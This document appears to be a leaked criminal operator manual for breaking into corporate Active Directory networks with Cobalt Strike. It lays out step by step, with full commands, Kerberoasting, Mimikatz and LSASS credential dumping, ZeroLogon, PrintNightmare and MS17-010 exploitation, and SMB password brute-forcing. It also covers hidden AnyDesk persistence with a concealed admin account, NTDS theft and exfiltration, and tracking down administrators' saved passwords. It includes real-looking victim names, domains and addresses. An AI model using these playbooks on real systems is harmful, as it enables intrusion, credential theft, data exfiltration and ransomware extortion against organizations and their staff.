CobaltStrike
MANUALS_V2
Active Directory

Stage I. Increasing privileges and collecting information

1. Initial exploration

1.1. Search for company income

Finding the company's website
On Google: SITE + revenue (mycorporation.com + revenue)
("mycorporation.com" "revenue")
check more than 1 site, if possible
(owler, manta, zoominfo, dnb, rocketrich)

1.2. Defined by AB

1.3. shell whoami <====== who am I

1.4. shell whoami / groups -> my rights on the bot (if the bot came with a blue monik)

1.5.1. shell nltest / dclist: <====== domain controllers

net dclist <====== domain controllers

1.5.2. net domain_controllers <====== this command will show the ip addresses of domain controllers

1.6. shell net localgroup administrators <====== local administrators

1.7. shell net group / domain "Domain Admins" <====== domain administrators

1.8. shell net group "Enterprise Admins" / domain <====== enterprise administrators

1.9. shell net group "Domain Computers" / domain <====== total number of pc in the domain

1.10. net computers <====== ping all hosts with the output of ip addresses.

Then we act depending on the information received, for example, if there are 3k wheelbarrows, then it is better to perform a Kerberoast attack first, because the bot will fall off in 2 hours, while the balls are being removed, etc.

2. Removing the ball

We remove the balls in two cases:
1. When looking for where you can throw the payload. In this case, we only need balls with write permissions (admin balls without a ball with read permissions). To obtain them, we perform:

```
powershell-import /home/user/work/ShareFinder.ps1
```

```
psinject 1234 x64 Invoke-ShareFinder -CheckAdmin -Verbose | Out-
File -Encoding ascii C: \ ProgramData \ sh.txt
```

2. When we are looking for information that we will pump out at the second stage. In this case, we need the balls with read permissions. We put on the domain administrator's token from which we will start uploading data (different admins can have access to different balls) and remove the balls with the following command:

```
powershell-import /home/user/work/ShareFinder.ps1
```

```
psinject 5209 x64 Invoke-ShareFinder -CheckShareAccess -Verbose
| Out-File -Encoding ascii C: \ ProgramData \ shda.txt
```

Next, we study the removed balls, we are interested in
* Finance docks
* Accounting
* Aichi
* Clients
* Projects
And so on, it all depends on what our target is doing.
Then we pump out what we took away, more on that in the second section.

3. Kerberoast attack

The goal is to get the admin hash for the next brute

Method 1:

```
powershell-import /home/user/work/Invoke-Kerberoast.ps1
```

```
psinject 4728 x64 Invoke-Kerberoast -OutputFormat HashCat | fl |
Out-File -FilePath c: \ ProgramData \ pshashes.txt -append -
force -Encoding UTF8
```

Method 2:

```
execute-assembly /home/user/work/Rubeus.exe kerberoast /
ldapfilter: 'admincount = 1' / format: hashcat
/outfile:C:\ProgramData\hashes.txt
```

```
execute-assembly /home/user/work/Rubeus.exe asreproast / format: hashcat /outfile:C:\ProgramData\asrephashes.txt
```

As a result, we get files in the directory C: \ ProgramData \, which may contain a hash, download and, if successful, send hashes to brute through team leads.

4. Mimikatz

mimikatz
version

Retrieve clear text passwords from memory
privilege :: debug - check for the appropriate permissions
log nameoflog.log - start the logging function
sekurlsa :: logonpasswords - output of all passwords stored on this computer in unencrypted form

```
log
privilege :: debug
sekurlsa :: logonpasswords
token :: elevate
lsadump :: sam
exit
```

lsadump :: dcsync / user: Administrator - pass YES to recognize on pdc
sekurlsa :: pth / user: / domain: / ntlm: / run: cmd - PASS DE HASH (use NTLM instead of password) (same as runas / user: user cmd # PASSWORD #)
Mimikatz in Cobalt Strike

```
getsystem
hashdump
logonpasswords
```

beacon> make_token domen \ user password - put on a token from the user
beacon> pth domen \ user NTLM - put on a token from the user
beacon> rev2self - return the original view of the session

beacon> dcsync domain.com (where domain.com is - you insert the network domain) - take all hashes from the domain (you need a YES token)

If you find login and hash:
pth Domain \ Admin pass(as a hash)
shell dir \\ ip or hostname \ c $

```
EliAdmin: 1001: aad3b435b51404eeaad3b435b51404ee: b0059c57f5249ede3db768e388ee0b14 :::
pth ELC \ EliAdmin b0059c57f5249ede3db768e388ee0b14
```

If you find your username and password

make_token Domain \ Admin Pass
rev2self - withdraw token

Reading lsass
Downloading the latest release of mimikatz from github
Open cmd as administrator

C: \ work \ mimikatz \ win32> mimiKatz
privilege :: debug
sekurlsa :: minidump lsass.dmp - work with a dump file
log - duplicate output to the log

We look at the file mimikatz
We save:
1. Logins and passwords in their pure form
2. If there is no password, save NTLM and SHA1 (Later, you can decrypt or use the Pass The Hash attack)

On Windows 2003, it is not possible to dump lsass.exe through taskmgr.

-- -------------
-

Open the "Task Manager", go into the processes, select lsass.exe, right-click on it and click Dump Process.
The process dump must lie in
C: \ user \ %% user %% \ AppDara \ Local \ Temp \ lsass.DMP
We download the dump in any way

Using procdump.exe and procdump64.exe
Upload procdump.exe or procdump64.exe

Run procdump.exe or procdump64.exe
procdump.exe -acceptula -ma lsass.exe C: \ compaq \ lsass.dmp
procdump64.exe -acceptula -ma lsass.exe C: \ compaq \ lsass.dmp
Download lsass.dmp and remove lsass.dmp and procdump

Zerologon

mimikatz lsadump :: zerologon /target: [controller.domain.local] / account: [controller] $ / exploit
mimikatz lsadump :: zerologon /target:DC01.contoso.com / account: DC01 $ / exploit

Procdump: in mimikatz
lsadump :: mimidump LSAdump.dmp
log
sekurlsa :: logonpasswords
exit

LSASS:
method via coba: (*** special thanks to @Sven)
! *
one) getsystem

2) shell rundll32.exe C: \ windows \ System32 \ comsvcs.dll, MiniDump PID C: \ ProgramData \ lsass.dmp full (we specify pid from lsas)
(remove on a remote wheelbarrow) coba_wmic:

```
shell wmic / node: [target] process call create "cmd / c rundll32.exe C: \ windows \ System32 \ comsvcs.dll, MiniDump PID

C: \ ProgramData \ lsass.dmp full "
remote-exec psexec [target] cmd / c rundll32.exe

C: \ windows \ System32 \ comsvcs.dll, MiniDump PID

C: \ ProgramData \ lsass.dmp full
```

=== ============
method via RDP:
open taskmgr => PKM po lsass process => create Dump file. \\ Next, download the file to your computer.

5. Checking for saved passwords in domain group policy files

```
-----------------------------------------------
execute-assembly /home/user/work/Net-GPPPassword.exe
-----------------------------------------------
```

6. SMB Autobrut

The input data for carrying out this attack are only passwords.
- those that dumped from the CharpChrome browser
- **those dumped by SeatBeltom**
- **those that dumped in the process of work within the network (mimikatts, etc.)**

And in general any others, for example, found recorded in files

If there are fewer such passwords than we can launch a brute-force attack, we can safely supplement them from the following list of the most commonly encountered in the corporate environment.

Password1
Hello123
password
Welcome1
banco @ 1
training
Password123
job12345
spring
food1234

We also recommend using password lists based on the seasons and the current year. Considering that passwords are changed every three months, you can take a "reserve" to generate such a sheet. For example, in August 2020, we create a list with the following content

```
June2020
July2020
August20
August2020
Summer20
Summer2020
June2020!
July2020!
August20!
August2020!
Summer20!
Summer2020!
```

All passwords above fall either into 3 out of 4 requirements for Active Directory passwords (which is enough for users to set them), or into all 4 requirements.
Approx. we consider the most popular version of the requirements.

```
------------------------------------------- -------------------------
-
```

Domain Admins Scenario

1. We collect the list of domain administrators with the command

```
     shell net group "domain admins" / dom
```

We write the received data to the admins.txt file

2. We upload this file to the host in the C: \ ProgramData folder

3. Requesting information on the domain account blocking policy (protection against brute force)

```
beacon> shell net accounts / dom

Tasked beacon to run: net accounts / dom
host called home, sent: 48 bytes
received output:

The request will be processed at a domain controller for domain
shookconstruction.com.
Force user logoff how long after time expires ?: Never
Minimum password age (days): 1
Maximum password age (days): 42
Minimum password length: 6
Length of password history maintained: 24
Lockout threshold: Never
Lockout duration (minutes): 30
Lockout observation window (minutes): 30
Computer role: BACKUP
```

We are interested in the Lockout threshold parameter, which most often contains a certain numerical value that we must use later as a parameter (in this case, it is Never, which means that protection against brute-force passwords is disabled.
In this guide, in the future, we will indicate the value 5 as roughly the most common.
The Minimum password length parameter indicates the minimum allowed number of password characters, required to filter our "list" of passwords that we will set.

4. In the source code of the script, specify the domain in which the script will run:

```
$ context = new-object System.DirectoryServices.ActiveDirectory.DirectoryContext
("Domain", "shookconstruction.com")
```

five. Importing and running the script

```
powershell-import /home/user/work/scripts/Invoke-SMBAutoBrute.ps1
```

```
psinject 4728 x86 Invoke-SMBAutoBrute -PasswordList "Password1, Hello123, Welcome1, password, banco @ 1 , training, Password123, spring, food1234, job12345, 1qazXDR% +"
```

The list of passwords consists of one which we had "found" and two from the list of popular passwords

6. We look at the progress of the script and see the result

```
Success! Username: Administrator. Password: 1qazXDR% +
Success! Username: CiscoDirSvcs. Password: 1qazXDR% +
```

We got two domain administrators out of the way.

The scenario without specifying a list of users differs in only two ways.

```
psinject 4728 x86 Invoke-SMBAutoBrute -PasswordList "Password1, Welcome1, 1qazXDR% +" -LockoutThreshold 5
```

We do not specify the UserList and ShowVerbose parameters. The absence of the first means that the search will be performed on ALL domain users, the absence of the second means that only SUCCESSFUL results will be displayed.

```
Success! Username: Administrator. Password: 1qazXDR% +
Success! Username: CiscoDirSvcs. Password: 1qazXDR% +
Success! Username: support. Password: 1qazXDR% +
Success! Username: accountingdept. Password: 1qazXDR% +
```

As you can see, we were able to find accounts of other users that may be useful for further promotion on the network and raising rights.

If there is no positive result, you can repeat it after a while (it is optimal to multiply the Lockout duration parameter by two before the next attempt) with a new list of passwords.

The end of the script will be marked by outputting a message to the beacon

7. PrintNightmare

The vulnerability is fresh, but already sensational. We use it until we shut it down) CVE-2021-34527 Allows you to create a local administrator, useful if an agent arrived with the rights of a simple user
On the agent:

powershell-import // import the CVE-2021-34527.ps1 file

powershell Invoke-Nightmare -NewUser "HACKER" -NewPassword "FUCKER" -DriverName "Xeroxxx" // create user HACKER with password FUCKER, add to localadmins

spawnas COMPNAME \ HACKER FUCKER https // instead of https the listener name An agent arrives from under our new localadmin.There is also a chance to get an agent from under SYSTEM *, we do the following after import:
Invoke-Nightmare -DLL "\ polniy \ put \ do \ payload.dll"

https://github.com/calebstewart/CVE-2021-1675

8.ms17_010

Windows XP and 2003 - do not have the ms17_010 patch
Windows 7, 8, 10, 2008, 2012, 2016 - may not be patched and therefore vulnerable. During an attack on them, to increase the chances of successful exploitation, we indicate the login and password of the domain user.

Removed AD, pinganulized ip addresses.
ip addresses must be written in one line separated by spaces.

one. Launching a proxy in Cobalt Strike:
In the Cobalt Strike console, enter the command:
socks 18585
18585 - port

2. Vulnerability scan:
Enter the following commands into the Metasploit console:

```
use auxiliary / scanner / smb / smb_ms17_010
set Proxies socks4: 172.98.192.214:18589
set threads 10
set RHOSTS 10.0.0.10 10.0.0.20 10.0.0.30 10.0.0.40
```

When attacking Windows 7, 8, 10, 2008, 2012, 2016, we additionally indicate:

```
set smbuser login
set smbdomain domain
set smbpass password

run
```

auxiliary / scanner / smb / smb_ms17_010 - Metasploit helper module that scans the target for vulnerabilities;
set Proxies socks4: 172.98.192.214:18589 - we tell the metasploit to use a proxy to access the target network;
172.98.192.214 - ip of the Cobalt Strike server
18589 - port
set threads 10 - use 10 threads
set RHOSTS - all target ip addresses separated by a space
run - module launch

```
Result:
[*] Scanned 10 of 44 host
[+] 10.0.0.200:445 -Host is VULNERABLE to… <== vulnerable host
```

We save the ip addresses of vulnerable hosts.

3. Exploiting the vulnerability to get a meterpreter session

```
use exploit / windows / smb / ms17_010_psexec
set Proxies socks4: 172.98.192.214:18589
set RHOSTS 10.0.0.10 10.0.0.20 10.0.0.30 10.0.0.40
set payload windows / meterpreter / bind_tcp
set verbose 1
run
```

If the session did not open, change the format of the payload file:

```
set target 1
run
set target 2
run
set target 3
run
```

We change the payload and again, one by one, try to open the session with different payload file formats.
set payload windows / meterpreter / bind_tcp_rc4
We also try all file formats

If it doesn't work again: The next method rarely works. Trying to break a session in Cobalt Strike:
set payload windows / meterpreter / reverse_https
set lport 443
set lhost 172.98.192.214 (ip Cobalt Strike)
Trying all file formats again

use exploit / windows / smb / ms17_010_psexec - module (exploit) Metasploit, delivering the payload to the target and opening a session
set payload windows / meterpreter / bind_tcp - indicate which payload to use.
target 1 this is ps1 (on windows xp and windows 2003 PowerSell does not work, we use it on newer versions of windows)
target 2 this is exe
target 3 this is mof

Result:
The session should appear. Metasploit can be checked with the sessions command.

After receiving the session, we try to get the login and password from the domain administrator account:
We pass to the session. Sessions 1 command (1 - session number)
getuin- get the pid of the process on which the session is running. If there is a pid, then the session is alive.
hashdump - save hashes
Remove passwords and hashes:
load mimikatz - load mimics to the target.
Wdigest - trying to get passwords entered by the user himself
kerberos -?
livessp -?
ssp - entered through the RDP
tspkg -?
background - minimize the session (then you can open it again from sessions 1)

If you still can't get the session, then we try to create an admin and connect through it via RDP.

4. Exploiting a vulnerability to run a command (creating a user and adding him to the local administrators group)

```
use auxiliary / admin / smb / ms17_010_command
set Proxies socks4: 172.98.192.214:18589
set RHOSTS 10.0.0.200 10.0.0.37 10.0.0.200 10.0.0.81
set command net user OldAdmin 1Q2w3E4r5T6y / add
set verbose 1
run
set command net localgroup Administrators OldAdmin / ADD
run
```

use auxiliary / admin / smb / ms17_010_command - Metasploit helper module that runs the specified command with administrator rights on the target and returns the result to the Metasploit console;
set command ... - indicate which command to execute;
net user OldAdmin 1Q2w3E4r5T6y / add - create a user;

net localgroup Administrators OldAdmin / ADD - add the user to the group of local administrators
set verbose 1- more detailed output. If something doesn't work, send it to someone more experienced.

Result:
The specified command should run.
You can understand that the command has completed by the line
The command completed successfully

We connect via RDP.

Option 1 - launching a cryptographic payload (can get a session)
Everything is simple here, in any way we drop the file and run it.

Option 2 - get a dump of the lsass.exe process and get the credits from it locally.
How to do it is written in mana Mimikatz

9. RouterScan

Software for Windows, allows you to brute-force routers, cameras, some NAS (depending on the type of authorization), if they have a web interface.

First, it tries to understand what kind of device it is, then apply appropriate exploits to it (it breaks the microtic even if the firmware is below 6.12 per second and issues a password in its pure form)
If there are no exploits for this model, then it starts to brute. We load the dictionaries, if necessary, into 3 text files starting with auth _ ***. Txt, lying in the root of the program.
In this form:
Login: Password
Login: Password
Only not through space indents, but through Tab
We pick up the sox on the cob, proxy it through ProxyFier, run it on our Windows, set the ranges or specific ip, the number of threads (5 is the most) and timeout (it is better to increase this value to 3000ms so as not to miss it). The default ports have already been specified, you can add your own if the web does not hang on the standard ones. In the Scanning Module, leave a check mark on the first (Router scan main) and HNAP 1.0, the rest are unlikely to be useful to you. We press start, wait and hope for the result

10. Zerologon

There are two ways.
1. Through the minicom, in the mana about the mimic
2. By connecting the script to the koba

Download the script here
https://github.com/rsmudge/ZeroLogon-BOF

We connect, as usual, the address of the script
ZeroLogon-BOF / dist / zerologon.cna
A new command should appear in the console - zerologon

Application:

net domain - get the domain name (For example domain.local)

We launch the exploit:
zerologon iunderstand domain.local

iunderstand- stop word. By exploiting this vulnerability, we reset the password. This exploit can cause the domain controller to malfunction. LASTLY USE.

If successful, we get:
Success! Use pth. \\% S 31d6cfe0d16ae931b73c59d7e0c089c0 and run dcscync

We do everything as written. we carry out
pth. \\% S 31d6cfe0d16ae931b73c59d7e0c089c0

And we carry out
dcsync domain.local
If everything worked out successfully, we get NTDS

11. Secure

Immediately after obtaining SYSTEM rights.
AnyDesk - on abandoned hosts
Atera - on the rest

11.1. AnyDesk fix

```
 Function AnyDesk {

 mkdir "C: \ ProgramData \ AnyDesk"
 # Download AnyDesk
 $ clnt = new-object System.Net.WebClient
 $ url = "http://download.anydesk.com/AnyDesk.exe"
 $ file = "C: \ ProgramData \ AnyDesk.exe"
 $ clnt.DownloadFile ($ url, $ file)

 cmd.exe / c C: \ ProgramData \ AnyDesk.exe --install C: \
ProgramData \ AnyDesk --start-with-win --silent

cmd.exe / c echo J9kzQ2Y0qO | C: \ ProgramData \ anydesk.exe --
set-password

 net user oldadministrator "qc69t4B # Z0kE3" / add
 net localgroup Administrators oldadministrator / ADD
 reg add "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows NT
\ CurrentVersion \ Winlogon \ SpecialAccounts \ Userlist" / v
oldadministrator / t REG_DWORD / d 0 / f

 cmd.exe / c C: \ ProgramData \ AnyDesk.exe --get-id

 }
```

AnyDesk

Executing the code in Powershell ISE Run As Admin
At the output, we get ID
We keep it to ourselves
Download Anydesk on a separate Dedicated Server \ VPS \ Virtual Machine and specify the ID
Click Console Account
Enter your password
Quote

```
 J9kzQ2Y0qO
```

And then we log in as a local admin or domain account and use the charms of Anydesk

You can also download / upload to / from the victim's machine, which is convenient in scanning and searching for documentation pointwise.

11.2. Fixing Atera

Website https://app.atera.com
Register
At the top, click Install agent
Download the agent and upload it to the bot
We start the agent:
shell AGENT INSTALLER.msi
Access should appear on the site in the Devices section
Removing the agent installer

13. Final reconnaissance

13.1. Search for trusts

shell nltest / domain_trusts / all_trusts

13.2. We get NTDS

If you find the Admin Domain
make_token Domain \ Admin pass

shell dir \\ ip or hotname \ c $ at the MPC or DK, if we are allowed to pass:

dcsync domain.com (domain.com - network domain)

We get NTDS

Privileges needed:

ReplicatingDirectoryChangesAll
ReplicatingDirectoryChanges

SPLESS DUMP NTDS

```
shell wmic / node: "DC01" / user: "DOMAIN \ admin" / password:
"cleartextpass" process call create "cmd / c vssadmin list
shadows >> c: \ log.txt"
```

we make a request for listing shadow copies, there is an indication of the date, check that there is a fresh date
almost certainly they are already there, if not, then we do it ourselves

```
net start Volume Shadow Copy
shell wmic / node: "DC01" / user: "DOMAIN \ admin" / password:
"cleartextpass" process call create "cmd / c vssadmin create
shadow / for = C: 2> & 1"
```

further in the listing of shadow copies we find the freshest

Shadow Copy Volume: \\? \ GLOBALROOT \ Device \ HarddiskVolumeShadowCopy55

accordingly, we need a copy number for the next command

```
shell wmic / node: "DC01" / user: "DOMAIN \ admin" / password:
"cleartextpass" process call create "cmd / c copy \\? \
GLOBALROOT \ Device \ HarddiskVolumeShadowCopy55 \ Windows \
NTDS \ NTDS.dit c: \ temp \ log \ & copy \\? \ GLOBALROOT \
Device \ HarddiskVolumeShadowCopy55 \ Windows \ System32 \
config \ SYSTEM c: \ temp \ log \ & copy \\? \ GLOBALROOT \
Device \ HarddiskVolumeShadowCopy55 \ Windows \ System32 \
config \ SECURITY c : \ temp \ log \ "
```

files ntds.dit / security / system should fall into c: \ temp \ log \
take a portable console 7z and pack it into an archive with a password
Code: [Select]

```
7za.exe a -tzip -mx5 \\ DC01 \ C $ \ temp \ log.zip \\ DC01 \ C
$ \ temp \ log -pTOPSECRETPASSWORD
```

we download the password-protected archive for ourselves, if we get an error when decrypting the ntds file (the file is damaged), then we do the following

```
Esentutl / p C: \ log \ ntds.dit
```

the trick of this method is that in fact we don't dump anything, we just take and pump out ntds
in order not to get burned by the fact that we are pulling out exactly ntds, we pack it into a password-protected archive

if you have troubles with something that is fired and thrown out of the network after an NTDS dump - try this method
it can only be burned by the very fact of some leaking date from the CD, and it is impossible to analyze what exactly you are dragging without knowing the password from the archive

13.3. Search for backups (Backup) and NAS (NetScan)

A great tool is NetScan, which makes it easy to scout and find NAS \ Backup, etc.
Scans networks by range using the credentials of the user / administrator on whose behalf the software was launched.
Returns the following information:

Hostname, Open Ports, Group / Domain Membership, Total Disk Space, Available Shares, Device Manufacturer, PC / Server Role

one) We load the NetScan folder to any infected PC. Let's say C: \ Programdata \ netscan

2) cd C: \ programdata \ netscan

3) make_token DOMAIN \ admin password

4) shell netscan.exe / hide /auto:"result.xml "/config:netscan.xml /range:192.168.0.1-192.168.1.255 or for range.txt =10.1.200.0/24

Where 0/24 is the netmask so we take each IP after pinging and put it in the range.txt file

Or write the unlikely IP via ENTER to the range.txt file and use the command:

shell netscan.exe / hide /auto:"resuult.xml "/config:netscan.xml /file:range.txt

We change the ranges to our own, do not touch the rest

5) We are waiting. After completion, the result.xml file will appear in our folder, download it to your computer

6) We open NetScan on our Windows, load the downloaded file there and see the result in a convenient format.
Sort by disk size, so you will immediately understand where the juice is hidden //

13.4. Huntim admins

And so, if we have servers \ USS \ tapes or cloud storages where backups are stored, but there is no access, then we need credits that only the admin has.

Accordingly, we need to hunt him. Usually in those networks where we work admins 1-2-3, no more.

People are divided into 3 types of positions:

Senior

Medium

Junior

Of course, we are interested in seniors, since they have more privileges / accesses (read passwords).
To begin with, I will write several options for how to determine the accounts of those very administrators who have passwords on board.

Part 1
Option number 1:

Interrogating YES

```
beacon> shell net group "domain admins" / domain
 Tasked beacon to run: net group "domain admins" / domain
 host called home, sent: 64 bytes
 received output:
La demande sera traitée sur contrôleur de domaine du domaine
DOMAIN.com.
Nom de groupe Domain Admins
Commentaire Designated administrators of the domain
Membres
--------------------------------------------------  -------------
-
Administrator ClusterSvc createch
Createch2 d01adm da9adm
p01adm PMPUser q01adm
repl s01adm Sapserviced01
SAPServiceDA9 sapservicep01 SAPServiceQ01
sapservices01 SAPServiceSND SAPServiceSOL
services services2 sndadm
soladm somadm staseb
telnet Johnadm
La commande s'est terminée correctement.
```

We look and see with our eyes filtering service accounts and non-service ones.
Service from the list above is for example

SAPServiceDA9

services

telnet

servies2

Sapservice01

...

Which accounts will most likely suit us:
staseb
Johnadm

They were recorded.
We can see who they are in adfind_persons.txt

or through the command

```
shell net user staseb / domain
```

See example:

```
beacon> shell net user ebernardo / domain
 Tasked beacon to run: net user ebernardo / domain
 host called home, sent: 57 bytes
 received output:

User name ebernardo
Full Name Eric Bernardo
Comment
User's comment
Country / region code (null)
Account active Yes
Account expires Never

Password last set 2020-12-08 12:05:15 PM
Password expires 2021-06-06 12:05:15 PM
Password changeable 2020-12-08 12:05:15 PM
Password required Yes
User may change password Yes

Workstations allowed all
Logon script
User profile
Home directory
Last logon 2021-01-29 2:25:24 PM

Logon hours allowed All

Local Group Memberships * Administrators * Remote Desktop Users
 * Server Operators
Global Group memberships * US Users * Great Plains Users
 * Citrix Group * VPN Users Saskatoon
 * Admins - AD Basic * VPNUsersHeadOffice
 * Executives * All Winnipeg Staff
 * Scribe Console Users * Domain Admins
 * VPN Users USA * Workstation.admins
 * Domain Users
The command completed successfully.
```

We look at who he is - he is in a dozen groups, SOMETIMES in the Comment column they write who he is - engineer \ system administrator \ support \ business consultant.

in Last Logon, the account must be ACTIVE - that is, last logon today \ yesterday \ this week, but not a year ago or Never.
If it is not clear who this is after the survey, see adfind + check linkedin (section below).

So 2-3-5 uchetok as a result you get out of the domain of administrators and you question everyone and should have an idea of who he is. As a result of 1-2-3 accounting, it turns out to find who can be an administrator.

Option number 2:
Turning into home analysts - watching Adfind.
We are interested in the adfind_groups file
We go in, we see a bunch of text
Press Ctrl + F (Notepad2 / Geany)
Introduce
dn: CN =

And the button Find All in current document.

at the output we get ABOUT the following (I cut out a piece and left 5 lines, usually there are from 100 to 10,000 lines)

```
adfind_groups: 3752: dn: CN = SQLServer2005SQLBrowserUser $ TRUCAMTLDC, CN = Users, DC = domain, DC = com
adfind_groups: 3775: dn: CN = clubsocial, CN = Users, DC = domain, DC = com
adfind_groups: 3800: dn: CN = Signature Intl-Special, OU = Groupes, OU = Infra, DC = domain, DC = com
adfind_groups: 3829: dn: CN = FIMSyncAdmins, CN = Users, DC = domain, DC = com
adfind_groups: 3852: dn: CN = GRP-GRAPHISTE, OU = FG-GRP, DC = domain, DC = com
```

And so, we have extracted the active directory groups.
What is interesting for us here and why we did it - in active directroy everything is structured and in USA EU networks everything is done as transparently as possible with comments, notes, notes, etc.
We are interested in a group that deals with IT, administration, LAN engineering.
What was given to us after the search - we put it in a new notebook and do a search for the following key words:
IT, Admin, engineer

In the example above, we find the following line
adfind_groups: 3877: dn: CN = IT, CN = Users, DC = domain, DC = com

Go to line 3877 in adfind_Groups.txt and see the following:

```
dn: CN = IT, CN = Users, DC = domain, DC = com
```

```
> objectClass: top
> objectClass: group
> cn: IT
> description: Informatique
> member: CN = MS Surface, OU = IT, DC = domain, DC = com
> member: CN = Gyslain Petit, OU = IT, DC = domain, DC = com
> member: CN = ftp, CN = Users, DC = domain, DC = com
> member: CN = St-Amand \, Sebastien \, CDT, OU = IT, DC = domain, DC = com
```

We skip ftp and MS Surface users, but we take Gyslain Petit and St Amand Sebastien into circulation.
Next, open ad_users.txt
Introducing Gyslain Petit
We find a user with the following information:

```
dn: CN = Gyslain Petit, OU = IT, DC = trudeaucorp, DC = com
> objectClass: top
> objectClass: person
> objectClass: organizationalPerson
> objectClass: user
> cn: Gyslain Petit
> sn: Petit
> title: Directeur, technologie de l'information
> physicalDeliveryOfficeName: 217
> givenName: Gyslain
> distinguishedName: CN = Gyslain Petit, OU = IT, DC = trudeaucorp, DC = com
> instanceType: 4
> whenCreated: 20020323153742.0Z
> whenChanged: 20201212071143.0Z
> displayName: Gyslain Petit
> uSNCreated: 29943
> memberOf: CN = GRP_Public_USA_P, OU = Securite-GRP, DC = trudeaucorp, DC = com
> memberOf: CN = GRP-LDAP-VPN, OU = FG-GRP, DC = trudeaucorp, DC = com
> memberOf: CN = IT Support, CN = Users, DC = trudeaucorp, DC = com
> memberOf: CN = Directeurs, CN = Users, DC = trudeaucorp, DC = com
> memberOf: CN = GRP-IT, OU = FG-GRP, DC = trudeaucorp, DC = com
> memberOf: CN = Signature Canada, OU = Groupes, OU = Infra, DC = trudeaucorp, DC = com
> memberOf: CN = EDI, CN = Users, DC = trudeaucorp, DC = com
> memberOf: CN = IT, CN = Users, DC = trudeaucorp, DC = com
> memberOf: CN = TRUDEAU-MONTREAL, CN = Users, DC = trudeaucorp, DC = com
> memberOf: CN = everyone, CN = Users, DC = trudeaucorp, DC = com
> uSNChanged: 6908986
> department: IT Manager
```

We look at the title and who we have here? Director of Information Technology. It would seem like a bull's-eye, but the director does not always have passwords, but the System Administrator does.

Therefore, we carry out similar manipulations for the second user and more. At home (= in the conf), we make notes of who is who and write down the logins from the adfind (sAMAccountname) like this:

> sAMAccountName: gpetit

gpetit - Director of IT
staseb - such and such

The second part of option # 2 (Simplified):

We look initially at adfind_users.txt
We do a search by
title:
description
departament

If you're lucky, the posts will be directly written there. In my test case, it looks like this:

```
adfind_persons: 280:> title: Responsable, logistique direct
import
adfind_persons: 1836:> title: Chef des services techniques
adfind_persons: 1955:> title: Chef comptable
adfind_persons: 4544:> title: Directeur, technologie de
l'information
adfind_persons: 6064:> title: Présidente
adfind_persons: 6191:> title: Chargée de projets, mise en marché
adfind_persons: 6285:> title: Directrice marketing
adfind_persons: 6848:> title: Coordonnatrice à la logistique
adfind_persons: 6948:> title: Responsable de l'expedition
```

Accordingly, we run our eyes and the accounts are found.

And so, these are easy methods. Consider alternative searches for admin accounts.

I know so far only 1 method of the simple ones - linkedin
We drive a request into Google

NASHERTVA.COM linkedin

instead of a domain - insert the domain of the office.

Go to Members
We do a search there by
System
Admin
Engineer
Network
It

If someone has a first name + last name, then we drive it into the upfind and the account is found.

And so, part number 1 is over. Getting started with admin hunt and inspection

Part # 2:

Huntim admin as standard via SharpView
SharpView.exe you can take the software from your team leaders or from the conference.
The command for a hunt is as follows:

On Linux

```
execute-assembly /home/user/soft/scripts/SharpView.exe Find-DomainUserLocation -UserIdentity gpetit
```

On Windows

```
execute-assembly C: \ Users \ Andrey \ Soft \ Hacking \ SharpView.exe Find-DomainUserLocation -UserIdentity gpetit
```

where gpetit is the account of the person we're looking for. what is written in adfinusers in sAMAccountname - we insert it here.

At the output, we get approximately the following log:

```
UserDomain: domain
UserName: gpetit
ComputerName: DC01.domain.LOCAL
IPAddress: 172.16.1.3
SessionFrom: 192.168.100.55
SessionFromName:
LocalAdmin:


UserDomain: domain
UserName: gpetit
ComputerName: SQL01.domain.LOCAL
IPAddress: 172.16.1.30
SessionFrom: 192.168.100.55
SessionFromName:
LocalAdmin:




UserDomain: domain
UserName: gpetit
ComputerName: lptp-gpetit.domain.LOCAL
IPAddress: 172.16.1.40
SessionFrom: 192.168.100.55
SessionFromName:
LocalAdmin:
```

And so, the log will be of an approximate format of how we should be with it - Firstly, how the software works - it asks where the user is at least somehow authorized at the moment. And our user is not simple - he is an administrator and at some point he can be authorized on 20-30-50 servers.
How can we filter and not get bogged down in this?
First, we remove the OS that are not interesting to us

For example, the first DC01 in the list is clearly DomainController01, you can check it by adfind_computers.txt or portscan 172.16.1.13 and see that it is a SERVER OS. And we need a client room.

The second is SQL01 - Database OS. Doesn't suit us.

Let's look at the third one - lptp-gpetit. Hmm, our user is gpetit and lptp stands for laptop. Perhaps this is just him.

#Same it happens that the admin is connected ONLY to the server OS, but in the SessionFrom column - an ip from another sabnet (for example, a vpn sabnet) where he sits quietly but SharpView did not "take" him - you can also take it into circulation.

Next is an IMPORTANT POINT.

First of all, beginners try to raise a session there and VERY OFTEN catch an alert. Alert from the admin = cutting out of the network, loss of time, nerves. Do not do this!
What we're going to do is poll it through the file system.
We do the following:

```
shell net view \\ 172.16.1.40 / ALL
```

At the exit we see his local wilds

```
C $
D $
```

We shoe the token(The token is recommended, because pth leaves a slightly different Event ID on the domain controller, and this may be noticed by the admin and cut us off)

Open File Manager in cobalt:

```
\\ 172.16.1.40 \ c $
```

Or we use the shell via

```
shell dir \\ 172.16.1.40 \ c $
```

We look at what is on the C drive fluently
Go to the folder

```
\\ 172.16.1.40 \ c $ \ Users \ gpetit
```

Usually, if this is REALLY an admin workstation, it has a lot of junk like Virtualbox / putty / winscp, etc., etc.

How can we "inspect" it, here is a list of interesting directories:

Desktop
\\ 172.16.1.40 \ c $ \ Users \ gpetit \ Desktop

\\ 172.16.1.40 \ c $ \ Users \ gpetit \ OneDrive
\\ 172.16.1.40 \ c $ \ Users \ gpetit \ Downloads
\\ 172.16.1.40 \ c $ \ Users \ gpetit \ Desktop
\\ 172.16.1.40 \ c $ \ Users \ gpetit \ Documents

Here are folders with custom configurations, below is a list of what can be extracted:

\\ 172.16.1.40 \ c $ \ Users \ gpetit \ AppData \ Local

\\ 172.16.1.40 \ c $ \ Users \ gpetit \ AppData \ Roaming

\\ 172.16.1.40 \ c $ \ Users \ gpetit \ AppData \ Local \ Google \ Chrome \ User Data \ Default

Here is the History && Login Data from chrome.

History can be directly downloaded and viewed using DBrowser for SQLite (nix win). What is useful is to see where the admin goes, who he votes for, you can sort the history by title and find NAS / Tape / vSphere and so on. VERY useful thing.

Login Data- there are logins and passwords. Encrypted (!). If it weighs 38-42kb then there is EMPTY. If it weighs more than 40-45 kb (from 100 kb to 1-2 megabytes), it means there are EXACTLY passwords.

If you have the required URL with the saved password, contact your team lead.

